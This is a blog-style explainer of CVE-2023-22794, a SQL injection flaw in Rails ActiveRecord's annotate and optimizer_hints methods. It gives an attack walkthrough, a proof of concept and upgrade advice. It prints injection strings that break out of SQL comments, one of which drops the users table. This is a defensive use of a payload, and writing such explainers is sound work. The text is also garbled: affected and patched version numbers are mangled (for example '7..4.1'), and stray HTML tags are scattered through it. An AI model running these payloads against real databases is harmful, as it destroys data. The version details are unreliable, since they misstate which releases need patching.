A serious security vulnerability, CVE-2023-22794, was revealed in ActiveRecord—an integral part of Ruby on Rails. This flaw affects numerous Rails apps that use any of these versions:
Rails 7..x before 7..4.1
The issue? ActiveRecord did not properly sanitize comments added to SQL queries, allowing sneaky attackers to inject and execute arbitrary SQL—even outside the intended comment region.
This post is an exclusive, easy-to-understand breakdown: what the vulnerability is, how an attacker might exploit it, and what you should do to keep your applications safe.
1. What is the Vulnerability?
ActiveRecord provides useful query methods like annotate and optimizer_hints. These features let developers insert notes or hints into generated SQL as comments—helpful for debugging or working with certain databases.
But, if you pass untrusted user input into these methods, ActiveRecord failed to properly escape dangerous characters. That means a clever attacker could break out of the SQL comment and inject their own commands.
User.annotate(params[:note]).where(username: "admin")
- The .optimizer_hints method
- The internal QueryLogs interface, which can automatically add comments to SQL.
If params[:note] (or other input) is from a user and includes SQL-dangerous content, you’re at risk.
---
## 2. Example: How Could Someone Exploit This?
Let’s look at a concrete example:
Suppose you have this code in a Rails controller:
ruby
def show
@user = User.annotate(params[:user_note]).find(params[:id])
end
A normal annotation would be:
sql
SELECT * FROM users /* user's note here */ WHERE id = 1;
But, imagine an attacker sends this string as user_note:
foo */; DROP TABLE users; --
Because of the bug, the resulting SQL would become:
sql
SELECT * FROM users /* foo */; DROP TABLE users; -- */ WHERE id = 1;
Notice:
- The /* ... */ is prematurely closed.
- Then, DROP TABLE users is outside the comment—THIS WILL BE EXECUTED!
- The rest is muted by the --.
#### In summary:
- Malicious user input ends the comment early.
- Arbitrary SQL injects right into your query.
---
## 3. Proof-of-Concept Exploit Code
Let’s code a basic, dangerous (do not do this in production!) demo:
ruby
Attacker-controlled input vulnerable to CVE-2023-22794
malicious_input = "foo */; SELECT version(); --"
q = User.annotate(malicious_input).where(id: 1)
puts q.to_sql
Output
# SELECT "users".* FROM "users" /* foo */; SELECT version(); -- */ WHERE "users"."id" = 1
<br><br>If your database allows multiple commands per query, the injected SELECT version(); will run!<br><br>---<br><br>## 4. <b>Original References</b><br><br>- Github Security Advisory for Rails<br>- Rails CVE Announcement<br>- ActiveRecord CHANGELOG for patches<br><br>---<br><br>## 5. <b>How Do You Fix or Protect Against This?</b><br><br>### <b>Update ActiveRecord</b><br><br>First and foremost: <br><b>Update your gems immediately!</b> <br>- Rails 6. users: Upgrade to at least 6..6.1<br>- Rails 6.1 users: Upgrade to at least 6.1.7.1<br>- Rails 7. users: Upgrade to at least 7..4.1<br><br>### <b>Never Trust User Input in Annotation Methods</b><br><br>Even with the fix, <b>never put raw user input into annotation or optimizer_hints methods</b>. Always sanitize or reject unexpected input.<br><br>### <b>Audit Your Code</b><br><br>- Search for .annotate, .optimizer_hints, and query logging features.<br>- Look for any spot user input might reach those methods.<br><br>### <b>Monitor Your Database</b><br><br>Keep logs and alerts for suspicious queries—such as multiple statements in a single query string.<br><br>---<br><br>## 6. <b>Summary</b><br><br>- CVE-2023-22794 lets attackers break out of SQL comments and inject code if you use .annotate, .optimizer_hints`, or auto-annotations with unsanitized user input.
- This affects Rails (ActiveRecord) <6..6.1, 6.1.x < 6.1.7.1, and 7..x < 7..4.1.
- The only safe fix is to upgrade right away. Never trust user input for code annotations.
- Learn more and keep your apps secure with timely updates and careful code review.
---
Stay safe, Rails community!
If you want to check if you’re vulnerable or have questions, consult the links above or get in touch with Rails security team.
---
References:
- CVE-2023-22794 on GitHub
- Official Rails Discussion on the CVE
Timeline
Published on: 02/09/2023 20:15:00 UTC
Last modified on: 03/14/2023 08:15:00 UTC